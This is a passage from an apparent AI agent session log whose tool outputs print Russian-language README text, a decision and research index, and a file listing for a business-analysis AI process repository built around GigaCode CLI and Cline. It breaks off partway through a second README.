\u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e,\\n\u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432\\n[\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml).\\n\u0415\u0433\u043e `docs/kb/.gitkeep` \u0438 `meta-model/.gitkeep` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 copy-time \u0432\u0445\u043e\u0434\u044b; \u043f\u0430\u043a\u0435\u0442\\n\u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\nProject-scoped \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n[`decisions/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/decisions),\\nRFC \u2014 \u0432\\n[`docs/rfc/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/docs/rfc),\\n\u043e\u0442\u043b\u0430\u0434\u043a\u0430 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `experiments/`, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 Distribution \u2014\\n\u0432 `dist/`. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0430 \u0432\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md).\\n\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0434\u043b\u044f API, \u041b\u041a \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md).\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0435\u0439\u0442\u043e\u0432 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\\n[RFC](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md);\\n\u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f issue #603 \u0447\u0430\u0441\u0442\u044c \u043e \u0440\u0430\u043d\u043d\u0435\u0439 MANGO-\u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 Distribution.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u0434\u0432\u043e\u0439\u043d\u0430\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n\u0434\u0435\u043b\u044c\u0442\u043e\u0439 Source.\\n\\n\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u0432\u0441\u0435\u0445 67 legacy-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u043a issue #605 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432,\\n\u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b FR/UC/NFR \u0438 TM Forum binding \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f\\n\u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043e\u0442 \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e baseline \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 Release-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438,\\n\u0432\u043a\u043b\u044e\u0447\u0430\u044f NFR\u2192FR, \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u043f\u0440\u0438\u043d\u044f\u0442 \u0432\\n[RFC Working Document \u2192 Release Document](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md).\\n\u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u0441\u043a\u0432\u043e\u0437\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 Source \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043e Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 GigaCode CLI \u0438 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md)\\n\u043f\u043e issue #630 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 20 \u0442\u043e\u0447\u0435\u043a \u0442\u0440\u0435\u043d\u0438\u044f \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430; \u043f\u0430\u0440\u043d\u044b\u0435 \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n\\n\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0440\u0435\u0434\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432\\n[`docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md).\\nIssue [#593](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/593)\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439\\n`mango-ba-ai-runtime-cli`.\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b **\u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f**: \u043e\u043d\u0438\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 [`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md)\\n\u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430. \u041c\u043e\u0434\u0443\u043b\u0438 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445,\\n\u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442:\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md);\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md);\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md);\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\\n- [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\\n  \u2014 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438;\\n- [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b;\\n- [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md)\\n  \u2014 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430;\\n- [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)\\n  \u2014 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438, \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e;\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n  \u2014 \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 Source, Distribution, Runtime \u0438 Feedback.\\n- [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode CLI.\\n- [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 Cline \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI.\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL), \u043a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0451\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 `ba-requirements`.\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n`40-practice-and-cases.md`, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 P2\\n([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh)).\\n./ba-meta-model/10-theory.md\\n./ba-meta-model/20-taxonomy.md\\n./ba-meta-model/50-open-research.md\\n./ba-meta-model/30-decision-framework.md\\n./ba-meta-model/00-introduction.md\\n./ba-meta-model/40-practice-and-cases.md\\n./ba-meta-model/product-taxonomy/telecom-products.yaml\\n./ba-meta-model/product-taxonomy/mango-products.yaml\\n./ba-meta-model/operation-taxonomy/10-theory.md\\n./ba-meta-model/operation-taxonomy/20-taxonomy.md\\n./ba-meta-model/operation-taxonomy/50-open-research.md\\n./ba-meta-model/operation-taxonomy/30-decision-framework.md\\n./ba-meta-model/operation-taxonomy/00-introduction.md\\n./ba-meta-model/operation-taxonomy/40-practice-and-cases.md\\n./ba-meta-model/process-taxonomy/10-theory.md\\n./ba-meta-model/process-taxonomy/20-taxonomy.md\\n./ba-meta-model/process-taxonomy/50-open-research.md\\n./ba-meta-model/process-taxonomy/30-decision-framework.md\\n./ba-meta-model/process-taxonomy/00-introduction.md\\n./ba-meta-model/process-taxonomy/40-practice-and-cases.md\\n./decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n./decisions/2026-09-adr-020-clean-distribution-package.md\\n./README.md\\n./experiments/.gitkeep\\n./experiments/issue_638_gigacode_input_checks.log\\n./experiments/issue_636_real_task_flow.sh\\n./experiments/issue_638_gigacode_smoke_guide.py\\n./experiments/issue_638_gigacode_full_route.log\\n./experiments/issue_638_gigacode_deploy_check.log\\n./experiments/issue_605_run_inventory.py\\n./experiments/issue_638_update_manifest_hashes.py\\n./experiments/issue_638_gigacode_full_route.py\\n./experiments/issue_638_gigacode_input_checks.py\\n./experiments/issue_639_runner_probes.log\\n./experiments/issue_636_seal.log\\n./experiments/issue_638_gigacode_kb_copy_check.log\\n./experiments/issue_636_check_links.py\\n./experiments/issue_639_runner_probes.py\\n./experiments/issue_639_gap_probes.log\\n./experiments/issue_638_gigacode_smoke_guide.log\\n./experiments/issue_636_real_task_flow.log\\n./experiments/issue_638_gigacode_smoke_flow.py\\n./experiments/issue_639_gap_probes.sh\\n./experiments/issue_638_gigacode_smoke_flow_data.py\\n./experiments/issue_638_windows_autocrlf.sh\\n./experiments/issue_638_gigacode_deploy_check.sh\\n./experiments/issue_638_gigacode_smoke_flow.log\\n./experiments/issue_636_seal.ps1\\n./experiments/issue_638_gigacode_kb_copy_check.sh\\n./docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md\\n./docs/rfc/2026-09-bcreq-working-release-pipeline.md\\n./docs/rfc/2026-09-source-pilot-verification.md\\n./docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md\\n./docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\n./docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\n./docs/analysis/2026-09-24-architecture-convergence-and-readiness.md\\n./docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\n./docs/analysis/2026-09-23-requirements-run-forensics.md\\n./docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n./docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\n./meta-model-guides/README.md\\n./meta-model-guides/qwen-chat-runtime-migration-instruction.md\\n./meta-model-guides/gigacode-cli/mango-ba-ai-runtime-cli-user-guide.html\\n./meta-model-guides/gigacode-cli/screenshots/mango-ba-ai-runtime-cli-user-guide-preview.png\\n./tests/cline-package/test_package.py\\n./tests/execution-package/README.md\\n./tests/execution-package/fixtures/working-valid.json\\n./tests/execution-package/fixtures/straight-through.yaml\\n./tests/execution-package/fixtures/human-gate.yaml\\n./tests/execution-package/assertions/straight-through.yaml\\n./tests/execution-package/assertions/human-gate.yaml\\n./tests/execution-package/tests/test_guides.py\\n./tests/execution-package/tests/test_semantic_regression.py\\n./tests/execution-package/tests/test_runner.py\\n./tests/execution-package/tests/test_emulation.py\\n./tests/execution-package/tools/emulate-route.py\\n215\",\n[2026-09-29T07:44:33.428Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:33.428Z] [INFO]       }\n[2026-09-29T07:44:33.428Z] [INFO]     ]\n[2026-09-29T07:44:33.428Z] [INFO]   },\n[2026-09-29T07:44:33.428Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:33.428Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:33.428Z] [INFO]   \"uuid\": \"0af178e9-74b4-4808-9c46-ec09865abb46\",\n[2026-09-29T07:44:33.428Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:33.384Z\",\n[2026-09-29T07:44:33.428Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:33.428Z] [INFO]     \"stdout\": \"---\\nstatus: canonical\\nversion: 1.6\\nupdated: 2026-09-28\\ntemperature: 0.1\\nscope: mango-only\\ntype: research\\n---\\n\\n# BA AI Process \u2014 Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n\\n\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 **\u00ab\u043a\u0430\u043a \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e\\n\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044f MANGO \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445\u00bb**: \u043a\u0430\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0440\u0430\u0431\u043e\u0442\u0443, \u043a\u0430\u043a\u0438\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043e\u043d\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u0438 \u0432 \u043a\u0430\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0435\\n\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0433\u0435\u043d\u0442\u0443. GigaCode CLI \u2014 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0430; Cline \u0441 Mango AI\\n\u0438 Qwen Chat \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0438\u043b\u043e\u0442\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u043f\u043e\\n[issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615).\\n\\n\u042d\u0442\u043e **\u0434\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432**, \u0430 \u043d\u0435 \u043e\u0431\u0449\u0430\u044f \u0440\u0430\u043c\u043a\u0430. \u0412\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043c\u043e\u0434\u0443\u043b\u044f \u043d\u0435\u0441\u0443\u0442\\n`scope: mango-only`. \u0417\u0434\u0435\u0441\u044c `mango-only` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 **\u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c\\nMANGO** (\u0432\u0441\u0435 \u0434\u043e\u043c\u0435\u043d\u044b \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0441\u043d\u0438\u043c\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438), \u0430 \u043d\u0435 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439\\n\u0434\u0440\u0443\u0433\u043e\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438/\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044e;\\n\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 (\u0437\u0430\u0434\u0430\u0447\u0430 `B-158`), \u0430 \u043d\u0435\\n\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n[`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md).\\n\\n## \u041f\u043e\u0447\u0435\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u0438 \u0436\u0438\u0432\u0443\u0442 \u0437\u0434\u0435\u0441\u044c\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f 